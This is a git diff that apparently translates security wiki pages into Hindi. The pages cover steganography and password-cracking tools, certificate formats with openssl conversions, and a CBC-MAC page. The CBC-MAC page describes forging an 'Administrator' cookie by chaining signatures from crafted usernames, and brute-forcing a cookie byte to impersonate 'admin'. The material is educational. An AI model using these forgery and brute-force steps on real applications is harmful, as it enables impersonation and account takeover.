GitHub](https://github.com/StefanoDeVuono/steghide). +**कमांड:** -**Commands:** +- `steghide info file` यह प्रकट करता है कि क्या एक फ़ाइल में छिपा हुआ डेटा है। +- `steghide extract -sf file [--passphrase password]` छिपा हुआ डेटा निकालता है, पासवर्ड वैकल्पिक है। -- `steghide info file` reveals if a file contains hidden data. -- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional. +वेब-आधारित निष्कर्षण के लिए, [इस वेबसाइट](https://futureboy.us/stegano/decinput.html) पर जाएं। -For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html). - -**Bruteforce Attack with Stegcracker:** - -- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows: +**Stegcracker के साथ ब्रूटफोर्स अटैक:** +- Steghide पर पासवर्ड क्रैक करने का प्रयास करने के लिए, [stegcracker](https://github.com/Paradoxis/StegCracker.git) का उपयोग करें: ```bash stegcracker [] ``` - ### **zsteg for PNG and BMP Files** -zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg). +zsteg PNG और BMP फ़ाइलों में छिपे डेटा को उजागर करने में विशेषज्ञता रखता है। स्थापना `gem install zsteg` के माध्यम से की जाती है, इसके [source on GitHub](https://github.com/zed-0xff/zsteg) पर। **Commands:** -- `zsteg -a file` applies all detection methods on a file. -- `zsteg -E file` specifies a payload for data extraction. +- `zsteg -a file` एक फ़ाइल पर सभी पहचान विधियों को लागू करता है। +- `zsteg -E file` डेटा निष्कर्षण के लिए एक पेलोड निर्दिष्ट करता है। ### **StegoVeritas and Stegsolve** -**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks. +**stegoVeritas** मेटाडेटा की जांच करता है, छवि रूपांतरण करता है, और अन्य सुविधाओं के बीच LSB ब्रूट फोर्सिंग लागू करता है। विकल्पों की पूरी सूची के लिए `stegoveritas.py -h` का उपयोग करें और सभी जांच करने के लिए `stegoveritas.py stego.jpg` चलाएँ। -**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). +**Stegsolve** छवियों के भीतर छिपे पाठ या संदेशों को प्रकट करने के लिए विभिन्न रंग फ़िल्टर लागू करता है। यह [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) पर उपलब्ध है। ### **FFT for Hidden Content Detection** -Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include: +Fast Fourier Transform (FFT) तकनीकें छवियों में छिपे सामग्री को उजागर कर सकती हैं। उपयोगी संसाधनों में शामिल हैं: - [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) @@ -132,20 +114,18 @@ Fast Fourier Transform (FFT) techniques can unveil concealed content in images. ### **Stegpy for Audio and Image Files** -Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy). +Stegpy छवि और ऑडियो फ़ाइलों में जानकारी को एम्बेड करने की अनुमति देता है, जो PNG, BMP, GIF, WebP, और WAV जैसे प्रारूपों का समर्थन करता है। यह [GitHub](https://github.com/dhsdshdhk/stegpy) पर उपलब्ध है। ### **Pngcheck for PNG File Analysis** -To analyze PNG files or to validate their authenticity, use: - +PNG फ़ाइलों का विश्लेषण करने या उनकी प्रामाणिकता को मान्य करने के लिए, उपयोग करें: ```bash apt-get install pngcheck pngcheck stego.png ``` +### **छवि विश्लेषण के लिए अतिरिक्त उपकरण** -### **Additional Tools for Image Analysis** - -For further exploration, consider visiting: +अधिक अन्वेषण के लिए, विचार करें: - [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) - [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) @@ -153,66 +133,60 @@ For further exploration, consider visiting: - [OpenStego](https://www.openstego.com/) - [DIIT](https://diit.sourceforge.net/) -## **Extracting Data from Audios** +## **ऑडियो से डेटा निकालना** -**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content. +**ऑडियो स्टेगनोग्राफी** ध्वनि फ़ाइलों के भीतर जानकारी छिपाने के लिए एक अनूठा तरीका प्रदान करती है। छिपी हुई सामग्री को एम्बेड या पुनः प्राप्त करने के लिए विभिन्न उपकरणों का उपयोग किया जाता है। ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide). +Steghide एक बहुपरकारी उपकरण है जिसे JPEG, BMP, WAV, और AU फ़ाइलों में डेटा छिपाने के लिए डिज़ाइन किया गया है। विस्तृत निर्देश [stego tricks documentation](stego-tricks.md#steghide) में प्रदान किए गए हैं। ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). +यह उपकरण PNG, BMP, GIF, WebP, और WAV सहित विभिन्न प्रारूपों के साथ संगत है। अधिक जानकारी के लिए, [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav) देखें। ### **ffmpeg** -ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies. - +ffmpeg ऑडियो फ़ाइलों की अखंडता का आकलन करने के लिए महत्वपूर्ण है, विस्तृत जानकारी को उजागर करता है और किसी भी विसंगतियों को इंगित करता है। ```bash ffmpeg -v info -i stego.mp3 -f null - ``` - ### **WavSteg (WAV)** -WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include: - +WavSteg WAV फ़ाइलों के भीतर डेटा को छिपाने और निकालने में सबसे कम महत्वपूर्ण बिट रणनीति का उपयोग करके उत्कृष्ट है। यह [GitHub](https://github.com/ragibson/Steganography#WavSteg) पर उपलब्ध है। कमांड में शामिल हैं: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` - ### **Deepsound** -Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx). +Deepsound ध्वनि फ़ाइलों के भीतर जानकारी के एन्क्रिप्शन और पहचान की अनुमति देता है, जिसका उपयोग AES-256 किया जाता है। इसे [the official page](http://jpinsoft.net/deepsound/download.aspx) से डाउनलोड किया जा सकता है। ### **Sonic Visualizer** -An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more. +ऑडियो फ़ाइलों के दृश्य और विश्लेषणात्मक निरीक्षण के लिए एक अमूल्य उपकरण, Sonic Visualizer छिपे हुए तत्वों को उजागर कर सकता है जो अन्य तरीकों से पता नहीं चल सकते। अधिक जानकारी के लिए [official website](https://www.sonicvisualiser.org/) पर जाएं। ### **DTMF Tones - Dial Tones** -Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html). +ऑडियो फ़ाइलों में DTMF टोन का पता लगाने के लिए ऑनलाइन उपकरणों का उपयोग किया जा सकता है जैसे कि [this DTMF detector](https://unframework.github.io/dtmf-detect/) और [DialABC](http://dialabc.com/sound/detect/index.html)। ## **Other Techniques** ### **Binary Length SQRT - QR Code** -Binary data that squares to a whole number might represent a QR code. Use this snippet to check: - +बाइनरी डेटा जो एक पूर्ण संख्या के लिए वर्ग करता है, एक QR कोड का प्रतिनिधित्व कर सकता है। जांचने के लिए इस स्निपेट का उपयोग करें: ```python import math math.sqrt(2500) #50 ``` +बाइनरी से इमेज रूपांतरण के लिए, [dcode](https://www.dcode.fr/binary-image) की जांच करें। QR कोड पढ़ने के लिए, [इस ऑनलाइन बारकोड रीडर](https://online-barcode-reader.inliteresearch.com/) का उपयोग करें। -For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). +### **ब्रेल अनुवाद** -### **Braille Translation** +ब्रेल का अनुवाद करने के लिए, [Branah Braille Translator](https://www.branah.com/braille-translator) एक उत्कृष्ट संसाधन है। -For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource. - -## **References** +## **संदर्भ** - [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) - [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md index 622b48c61..a8207aea6 100644 --- a/src/cryptography/certificates.md +++ b/src/cryptography/certificates.md @@ -2,46 +2,37 @@ {{#include ../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - ## What is a Certificate -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +A **public key certificate** एक डिजिटल आईडी है जिसका उपयोग क्रिप्टोग्राफी में किसी के सार्वजनिक कुंजी के स्वामित्व को साबित करने के लिए किया जाता है। इसमें कुंजी के विवरण, मालिक की पहचान (विषय), और एक विश्वसनीय प्राधिकरण (जारीकर्ता) से डिजिटल हस्ताक्षर शामिल होता है। यदि सॉफ़्टवेयर जारीकर्ता पर भरोसा करता है और हस्ताक्षर मान्य है, तो कुंजी के मालिक के साथ सुरक्षित संचार संभव है। -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +Certificates ज्यादातर [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) द्वारा [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) सेटअप में जारी किए जाते हैं। एक अन्य विधि [web of trust](https://en.wikipedia.org/wiki/Web_of_trust) है, जहां उपयोगकर्ता सीधे एक-दूसरे की कुंजी की पुष्टि करते हैं। Certificates के लिए सामान्य प्रारूप [X.509](https://en.wikipedia.org/wiki/X.509) है, जिसे RFC 5280 में वर्णित विशिष्ट आवश्यकताओं के लिए अनुकूलित किया जा सकता है। ## x509 Common Fields ### **Common Fields in x509 Certificates** -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: +x509 certificates में, कई **fields** प्रमाणपत्र की वैधता और सुरक्षा सुनिश्चित करने में महत्वपूर्ण भूमिका निभाते हैं। इन fields का विवरण इस प्रकार है: -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. +- **Version Number** x509 प्रारूप के संस्करण को दर्शाता है। +- **Serial Number** प्रमाणपत्र को एक Certificate Authority (CA) प्रणाली के भीतर अद्वितीय रूप से पहचानता है, मुख्य रूप से रद्दीकरण ट्रैकिंग के लिए। +- **Subject** field प्रमाणपत्र के मालिक का प्रतिनिधित्व करता है, जो एक मशीन, एक व्यक्ति, या एक संगठन हो सकता है। इसमें विस्तृत पहचान शामिल है जैसे: +- **Common Name (CN)**: प्रमाणपत्र द्वारा कवर किए गए डोमेन। +- **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, और **Organizational Unit (OU)** भौगोलिक और संगठनात्मक विवरण प्रदान करते हैं। +- **Distinguished Name (DN)** पूर्ण विषय पहचान को संक्षिप्त करता है। +- **Issuer** विवरण देता है कि किसने प्रमाणपत्र की पुष्टि और हस्ताक्षर किया, जिसमें CA के लिए विषय के समान उपक्षेत्र शामिल हैं। +- **Validity Period** को **Not Before** और **Not After** टाइमस्टैम्प द्वारा चिह्नित किया जाता है, यह सुनिश्चित करते हुए कि प्रमाणपत्र को किसी निश्चित तिथि से पहले या बाद में उपयोग नहीं किया जाता है। +- **Public Key** अनुभाग, जो प्रमाणपत्र की सुरक्षा के लिए महत्वपूर्ण है, सार्वजनिक कुंजी के एल्गोरिदम, आकार, और अन्य तकनीकी विवरण निर्दिष्ट करता है। +- **x509v3 extensions** प्रमाणपत्र की कार्यक्षमता को बढ़ाते हैं, **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, और अन्य गुणों को निर्दिष्ट करते हैं ताकि प्रमाणपत्र के आवेदन को ठीक से समायोजित किया जा सके। #### **Key Usage and Extensions** -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. - +- **Key Usage** सार्वजनिक कुंजी के क्रिप्टोग्राफिक अनुप्रयोगों की पहचान करता है, जैसे डिजिटल हस्ताक्षर या कुंजी एन्क्रिप्शन। +- **Extended Key Usage** प्रमाणपत्र के उपयोग के मामलों को और संकीर्ण करता है, जैसे कि TLS सर्वर प्रमाणीकरण के लिए। +- **Subject Alternative Name** और **Basic Constraint** प्रमाणपत्र द्वारा कवर किए गए अतिरिक्त होस्ट नामों और यह कि क्या यह एक CA या अंत-इकाई प्रमाणपत्र है, को परिभाषित करते हैं। +- **Subject Key Identifier** और **Authority Key Identifier** जैसे पहचानकर्ता कुंजी की अद्वितीयता और ट्रेसबिलिटी सुनिश्चित करते हैं। +- **Authority Information Access** और **CRL Distribution Points** जारीकर्ता CA की पुष्टि करने और प्रमाणपत्र रद्दीकरण स्थिति की जांच करने के लिए पथ प्रदान करते हैं। +- **CT Precertificate SCTs** पारदर्शिता लॉग प्रदान करते हैं, जो प्रमाणपत्र में सार्वजनिक विश्वास के लिए महत्वपूर्ण हैं। ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,133 +54,104 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **OCSP और CRL वितरण बिंदुओं के बीच का अंतर** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) में एक क्लाइंट और एक रिस्पॉन्डर मिलकर काम करते हैं यह जांचने के लिए कि क्या एक डिजिटल सार्वजनिक कुंजी प्रमाणपत्र को रद्द किया गया है, बिना पूर्ण **CRL** डाउनलोड किए। यह विधि पारंपरिक **CRL** की तुलना में अधिक कुशल है, जो रद्द किए गए प्रमाणपत्रों के अनुक्रमणिका नंबरों की एक सूची प्रदान करती है लेकिन एक संभावित बड़े फ़ाइल को डाउनलोड करने की आवश्यकता होती है। CRLs में 512 प्रविष्टियाँ तक हो सकती हैं। अधिक विवरण [यहाँ](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm) उपलब्ध हैं। -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **प्रमाणपत्र पारदर्शिता क्या है** -### **What is Certificate Transparency** +प्रमाणपत्र पारदर्शिता प्रमाणपत्र से संबंधित खतरों से लड़ने में मदद करती है यह सुनिश्चित करके कि SSL प्रमाणपत्रों का जारी होना और अस्तित्व डोमेन मालिकों, CAs, और उपयोगकर्ताओं के लिए दृश्य है। इसके उद्देश्य हैं: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- CAs को डोमेन मालिक की जानकारी के बिना एक डोमेन के लिए SSL प्रमाणपत्र जारी करने से रोकना। +- गलती से या दुर्भावनापूर्ण तरीके से जारी किए गए प्रमाणपत्रों को ट्रैक करने के लिए एक खुला ऑडिटिंग सिस्टम स्थापित करना। +- उपयोगकर्ताओं को धोखाधड़ी वाले प्रमाणपत्रों से सुरक्षित रखना। -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **प्रमाणपत्र लॉग** -#### **Certificate Logs** +प्रमाणपत्र लॉग सार्वजनिक रूप से ऑडिट करने योग्य, केवल जोड़ने वाले रिकॉर्ड होते हैं, जो नेटवर्क सेवाओं द्वारा बनाए रखे जाते हैं। ये लॉग ऑडिटिंग उद्देश्यों के लिए क्रिप्टोग्राफिक प्रमाण प्रदान करते हैं। जारी करने वाली प्राधिकरण और जनता दोनों इन लॉग में प्रमाणपत्र जमा कर सकते हैं या सत्यापन के लिए उन्हें क्वेरी कर सकते हैं। जबकि लॉग सर्वरों की सटीक संख्या निश्चित नहीं है, यह अपेक्षित है कि यह वैश्विक स्तर पर एक हजार से कम हो। ये सर्वर CAs, ISPs, या किसी भी इच्छुक इकाई द्वारा स्वतंत्र रूप से प्रबंधित किए जा सकते हैं। -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +#### **क्वेरी** -#### **Query** +किसी भी डोमेन के लिए प्रमाणपत्र पारदर्शिता लॉग का अन्वेषण करने के लिए, [https://crt.sh/](https://crt.sh) पर जाएँ। -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +प्रमाणपत्रों को संग्रहीत करने के लिए विभिन्न प्रारूप मौजूद हैं, प्रत्येक के अपने उपयोग के मामले और संगतता होती है। यह सारांश मुख्य प्रारूपों को कवर करता है और उनके बीच रूपांतरण के लिए मार्गदर्शन प्रदान करता है। -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +## **प्रारूप** -## **Formats** +### **PEM प्रारूप** -### **PEM Format** +- प्रमाणपत्रों के लिए सबसे व्यापक रूप से उपयोग किया जाने वाला प्रारूप। +- प्रमाणपत्रों और निजी कुंजियों के लिए अलग फ़ाइलों की आवश्यकता होती है, जो Base64 ASCII में एन्कोडेड होती हैं। +- सामान्य एक्सटेंशन: .cer, .crt, .pem, .key। +- मुख्य रूप से Apache और समान सर्वरों द्वारा उपयोग किया जाता है। -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +### **DER प्रारूप** -### **DER Format** +- प्रमाणपत्रों का एक बाइनरी प्रारूप। +- PEM फ़ाइलों में पाए जाने वाले "BEGIN/END CERTIFICATE" बयानों की कमी है। +- सामान्य एक्सटेंशन: .cer, .der। +- अक्सर Java प्लेटफार्मों के साथ उपयोग किया जाता है। -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +### **P7B/PKCS#7 प्रारूप** -### **P7B/PKCS#7 Format** +- Base64 ASCII में संग्रहीत, एक्सटेंशन .p7b या .p7c के साथ। +- केवल प्रमाणपत्र और श्रृंखला प्रमाणपत्र होते हैं, निजी कुंजी को छोड़कर। +- Microsoft Windows और Java Tomcat द्वारा समर्थित। -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +### **PFX/P12/PKCS#12 प्रारूप** -### **PFX/P12/PKCS#12 Format** +- एक बाइनरी प्रारूप जो सर्वर प्रमाणपत्रों, मध्यवर्ती प्रमाणपत्रों, और निजी कुंजियों को एक फ़ाइल में संलग्न करता है। +- एक्सटेंशन: .pfx, .p12। +- मुख्य रूप से Windows पर प्रमाणपत्र आयात और निर्यात के लिए उपयोग किया जाता है। -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +### **प्रारूपों का रूपांतरण** -### **Converting Formats** - -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**PEM रूपांतरण** संगतता के लिए आवश्यक हैं: +- **x509 से PEM** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM से DER** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER से PEM** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM से P7B** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7 से PEM** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**PFX रूपांतरण** विंडोज़ पर प्रमाणपत्रों का प्रबंधन करने के लिए महत्वपूर्ण हैं: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX से PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX से PKCS#8** में दो चरण शामिल हैं: +1. PFX को PEM में परिवर्तित करें ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. PEM को PKCS8 में परिवर्तित करें ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B to PFX** के लिए भी दो कमांड की आवश्यकता होती है: +1. P7B को CER में परिवर्तित करें ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. CER और प्राइवेट की को PFX में परिवर्तित करें ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - --- -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..07829baa7 100644 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +यदि **कुकी** केवल **उपयोगकर्ता नाम** है (या कुकी का पहला भाग उपयोगकर्ता नाम है) और आप उपयोगकर्ता नाम "**admin**" का अनुकरण करना चाहते हैं। तो, आप उपयोगकर्ता नाम **"bdmin"** बना सकते हैं और कुकी के **पहले बाइट** को **ब्रूटफोर्स** कर सकते हैं। # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**साइफर ब्लॉक चेनिंग मैसेज ऑथेंटिकेशन कोड** (**CBC-MAC**) एक विधि है जो क्रिप्टोग्राफी में उपयोग की जाती है। यह एक संदेश को लेती है और इसे ब्लॉक दर ब्लॉक एन्क्रिप्ट करती है, जहां प्रत्येक ब्लॉक का एन्क्रिप्शन पिछले ब्लॉक से जुड़ा होता है। यह प्रक्रिया एक **ब्लॉकों की श्रृंखला** बनाती है, यह सुनिश्चित करते हुए कि मूल संदेश के एक भी बिट को बदलने से एन्क्रिप्टेड डेटा के अंतिम ब्लॉक में अप्रत्याशित परिवर्तन होगा। ऐसा परिवर्तन करने या उलटने के लिए एन्क्रिप्शन कुंजी की आवश्यकता होती है, जो सुरक्षा सुनिश्चित करती है। -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +संदेश m का CBC-MAC निकालने के लिए, m को शून्य प्रारंभिक वेक्टर के साथ CBC मोड में एन्क्रिप्ट किया जाता है और अंतिम ब्लॉक को रखा जाता है। निम्नलिखित चित्र एक संदेश के CBC-MAC की गणना को दर्शाता है जिसमें ब्लॉक शामिल हैं![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) एक गुप्त कुंजी k और एक ब्लॉक साइफर E का उपयोग करते हुए: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() # Vulnerability -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +CBC-MAC के साथ आमतौर पर **IV 0** होता है।\ +यह एक समस्या है क्योंकि 2 ज्ञात संदेश (`m1` और `m2`) स्वतंत्र रूप से 2 हस्ताक्षर (`s1` और `s2`) उत्पन्न करेंगे। तो: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +फिर m1 और m2 के संयोजन से बना एक संदेश (m3) 2 हस्ताक्षर (s31 और s32) उत्पन्न करेगा: - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**जिसे एन्क्रिप्शन की कुंजी को जाने बिना गणना करना संभव है।** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +कल्पना करें कि आप नाम **Administrator** को **8bytes** ब्लॉकों में एन्क्रिप्ट कर रहे हैं: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +आप एक उपयोगकर्ता नाम **Administ** (m1) बना सकते हैं और हस्ताक्षर (s1) प्राप्त कर सकते हैं।\ +फिर, आप एक उपयोगकर्ता नाम बना सकते हैं जो `rator\00\00\00 XOR s1` का परिणाम है। यह `E(m2 XOR s1 XOR 0)` उत्पन्न करेगा जो s32 है।\ +अब, आप s32 को पूर्ण नाम **Administrator** के हस्ताक्षर के रूप में उपयोग कर सकते हैं। ### Summary -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. उपयोगकर्ता नाम **Administ** (m1) का हस्ताक्षर प्राप्त करें जो s1 है +2. उपयोगकर्ता नाम **rator\x00\x00\x00 XOR s1 XOR 0** का हस्ताक्षर प्राप्त करें जो s32 है। 